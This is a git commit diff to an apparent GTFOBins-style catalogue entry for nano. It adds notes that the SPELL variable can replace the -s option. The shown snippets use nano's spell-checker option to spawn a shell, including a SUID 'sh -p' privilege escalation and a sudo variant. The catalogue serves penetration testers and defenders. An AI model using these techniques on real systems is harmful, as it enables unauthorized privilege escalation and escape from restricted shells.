Mention the SPELL environment variable in nano

This commit is contained in:
Andrea Cardaci 2019-01-21 14:07:14 +01:00
parent 4a2aeb0ecb
commit f6b29ce958

View File

@ -1,7 +1,8 @@
---
functions:
shell:
- code: |
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
code: |
TF=$(mktemp)
echo 'exec sh' > $TF
chmod +x $TF
@ -15,14 +16,16 @@ functions:
file-read:
- code: nano file_to_read
suid:
- code: |
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
code: |
TF=$(mktemp)
echo 'exec sh -p' > $TF
chmod +x $TF
./nano -s $TF /etc/hosts
^T
sudo:
- code: |
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
code: |
TF=$(mktemp)
echo 'exec sh' > $TF
chmod +x $TF